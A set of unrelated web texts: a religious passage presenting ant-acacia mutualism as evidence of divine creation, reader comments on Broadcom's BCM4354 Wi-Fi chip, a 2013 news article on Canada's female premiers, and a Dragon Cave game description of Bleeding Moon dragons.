This common life between the ants and the acacia tree, presents a serious challenge in terms of the theory of evolution. It's an extraordinary miracle of creation that the ant will not only sacrifice it's very life to defend the acacia tree, but that the acacia tree is not harmed by the ants, and provides the ants that inhabit it with not only a home, but nutrition as well.
These altruistic behaviors that both of these creatures show one another is not a "survival of the fittest" scenario which evolutionists claim, but rather serves as evidence by Almighty Allah that He created all things in harmony and order.
All praise belongs to Allah, the Lord of the heavens and the Lord of the earth, Lord of all the worlds. All greatness belongs to Him in the heavens and earth. He is the Almighty, the All-Wise. (Surat al-Jathiyya, 36-37)


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Broadcom Announces BCM4354 802.11ac 2x2 MIMO Combo for Smartphonesby Brian Klug on 2/24/2014 8:00 AM EST
7 Comments
Back to Article
PyroHoltz - Monday, February 24, 2014 - linkWhile I'm always excited about increased theoretical bandwidth, I don't see a huge need for this now but as always, create the tech and someone will figure out a use for it. Reply
jeffkibuule - Monday, February 24, 2014 - linkIncreasing transmission speed also increases power efficiency as the wireless radio doesn't have to be in an active state for quite as long. Reply
Bob Todd - Monday, February 24, 2014 - linkWhile gigabit internet service is still rare in most markets, for those lucky enough to have it the increases are nice. Even if it is just to avoid concerns like "OMG my phone can only download at half the speed of my AC router!" But for the most part I agree. Until we get to the point where a phone form factor has enough power to replace laptops/desktops and you are grabbing a 6GB ISO while it is docked to your 4K display, the differences in real world usage will be relatively minimal. My biggest gripe of AC on phones is really the same issue as all other devices...range. Pulling 220Mb/s on my Nexus 5 doesn't matter much when I can only do so from the study where the router is located. Reply
DanNeely - Monday, February 24, 2014 - linkHaving 2 streams of data instead of only 1 should allow you to get double the download rate anywhere you've got a signal. If you're several rooms away your download rate will be degraded by the same proportion; but 20% of 866mbps is still twice as fast as 20% or 433mbps. Reply
DarkXale - Wednesday, February 26, 2014 - linkMost people seem to forget that efficient use of a wireless network is just as important as the peak throughput.
When we say that a wifi network can push out 450mbps - we say that thats the amount of data that can travel across that spectrum at its peak. However, most forget or don't understand what this implies.
This doesn't mean 450mbps to a single client - its 450mbps total to everyone on that channel. Both those connect to your own AP, and those connected to other APs on the same channel.
With the above 450mbps example, with 4 APs you only have 125mbps to use. All of a sudden, thats already not a lot.
Note that your router and computer will -not- report the value after congestion, it reports the value before it.
Then after that, theres another important step as well: client consumption. Lets use a really basic example, I have a phone that can only handle 65mbps (e.g. an iPhone), but due to being a bit far away its only capable of negotiating around 30mbps.
However, the phone is streaming data at 5mbps. Now, a naive user would assume that means it only means 5mbps of the 450mbps total is being used, but its actually much worse. That iPhone is using the equivalent of 75mbps! If we're further out, and can only negotiate 15mbps, its using a whopping 150mbps of capacity (33% of the frequency capacity) to transfer 5mbps of data!
The reason is because, somewhat simplified, transfer times are divided into time blocks. You can't have multiple stations sending at the same time, so in order to maintain a 5mbps link to a 15mbps receive capable station - it has to dedicate 333ms of the 1s to transfer to the iPhone. That only leaves 666ms to the remaining stations, which is a lot of lost time.
What the 2x2 MIMO allows is essentially the transfer rates in all situations to double. So the phone now goes from using 333ms to 166ms. Which leaves a fair chunk of more time for other clients to receive data.
As you can see, the implications of this are rather important. Its not that your own phone can receive 150mbps of data, its that it requires significantly less time, and therefore causes significantly less congestion, thats beneficial.
Its the same with cellular networks. No, your own phone doesn't need 300mbps of constant receive capability, but you'll cause much less congestion for other clients on the same network by having the capability. It means you can receive much more data in the time slot you are given, so when you can only receive 10mbps due to congestion - doubling the theoretical maximum from say 150 to 300, means you can receive 20mbps consuming the same amount of resources. Reply
toyotabedzrock - Monday, February 24, 2014 - linkIs it just me or does it seem silly for them to chain together the different wireless tech using pcie, usb and uart. Wouldn't it save power if they where unified? Reply
DanNeely - Monday, February 24, 2014 - linkI'm guessing that the wifi's peak performance exceeds what can be pushed over USB (presumably 2.0) or the UART; so they need a higher speed connect for it. From the other end I think it's a combination of USB/Uart operate at lower power levels, so when only BT is active they can gate off the high speed bus to save power and not needing to write new drivers for BT over PCIe/SDIO. Reply


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Hey there, time traveller!
This article was published 27/1/2013 (1667 days ago), so information in it may no longer be current.
OTTAWA -- There may be a lineup for the ladies' room the next time Canada's premiers get together for a meeting.
With Kathleen Wynne's victory as the new Liberal leader in Ontario Saturday, Canada now has six female premiers, responsible for governing more than 87 per cent of the population in five provinces and one territory
Back up five years and the number of women sitting at the premiers' table was exactly zero.
So what does it mean? Is the glass ceiling gone completely when it comes to politics in this country?
It may be shattered but there are still some shards in the way.
Shannon Sampert, a politics professor at the University of Winnipeg, says this influx of women comes after years of hard work from political parties recruiting strong female candidates. But she fears this explosion of female first ministers will mean a lot of people will think there is no longer a gender imbalance in politics.
"It's new, it's interesting, it's cause for celebration," said Sampert, "but when it comes to the number of women (elected overall), we haven't really moved since the 1980s."
Women fill just one in four seats or fewer in most provincial legislatures and Parliament.
In Manitoba, the legislature hit a record in 2007 when nearly one in three elected MLAs was a woman. There was a big celebration and a lot of back-slapping. It still wasn't parity, as women make up roughly half the population, but it was a big step in the right direction.
Four years later, Sampert says the effort to recruit women candidates fell off the priority list and the number of women elected went down from 18 of 57 to 15.
She said if the influx of women first ministers stays, it would be great, but in the past, women have been elected as leaders and disappeared just as quickly, to be replaced by men. The majority of political parties at the provincial and federal levels are still headed by men.
Canada has had 11 female first ministers since 1991 -- 10 premiers and one prime minister.
Seven of them initially took on the role when they won a leadership contest after a sitting premier from their party stepped down. Only two -- Pat Duncan in the Yukon in 2000, and Pauline Marois, last fall in Quebec, won a general election when they weren't already sitting as premier. Only three -- Catherine Callbeck in Prince Edward Island, Alison Redford in Alberta and Kathy Dunderdale in Newfoundland -- have gone on to win a general election after being appointed premier by winning a party leadership contest.
Women have never been elected in succession to a premier's office anywhere.
The first female premier in Canada was Rita Johnston, who became B.C. premier after Bill Vander Zalm resigned in 1991. Her tenure was short, as her Social Credit Party was defeated by the NDP in a general election just a few months later. A similar fate befell Canada's first and still only female prime minister, Kim Campbell, who took over the PMO when she won the Tory leadership in 1993, only to see her party swept out of office by the Liberals within a few months.
That critical mass of women in politics is coming, but it's not there yet. For each step we take toward an equal showing of female and male politicians, it seems we then take a few steps back.
But the more it happens and the less it is a novelty to have a woman in power, the easier it becomes for the next women to follow suit. They set the example for others, help prove women can exist and do well in a traditionally male world and show young girls that politics is just another in a litany of career choices available and not just a place for men that women occasionally get to visit.
All this is to say we should take note of the female-premier phenomenon but not let it make us think it means gender equality in politics has arrived.


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Welcome to Dragon Cave! Dragon Cave is an online adoptables game. Collect eggs, raise them to adulthood, and then breed them to create interesting lineages. New types of dragons are added regularly!
Bleeding Moon Dragons are mostly nocturnal creatures. When outside in the sun, the small red spatters on their back grow and spread, making the dragons appear to 'bleed'. It is said that the darker the shade of red, the more aggressive the dragon. Their tail barbs contain a powerful neuro-toxin which they use to subdue their prey. They are solitary creatures except when mating, preferring to dwell in the caves in mountains or other high places. Their large wingspan makes them fast flyers as well as fast runners, but they prefer to glide instead. Males are very competitive and will try almost everything to impress females, who will choose their mates based on speed and performance. Juveniles tend to form bachelor groups once fledged.
Dragons are creatures with nearly unlimited life spans. They can survive for long periods of time, and no one has found a dragon that has died of old age. Adolescence is usually marked by the growth of a hatchling's wings, although not all breeds of dragons grow wings and some breeds have other traits that indicate the beginning of maturation. Once they hit adolescence, hatchlings change quickly, maturing to their full forms in only 2 years.
Dragons don't communicate with each other verbally, but they will growl to scare off predators and frighten prey. Young dragons will emit an extremely high-pitched squeal when they are frightened. To communicate, they use telepathy with each other and to speak to other creatures.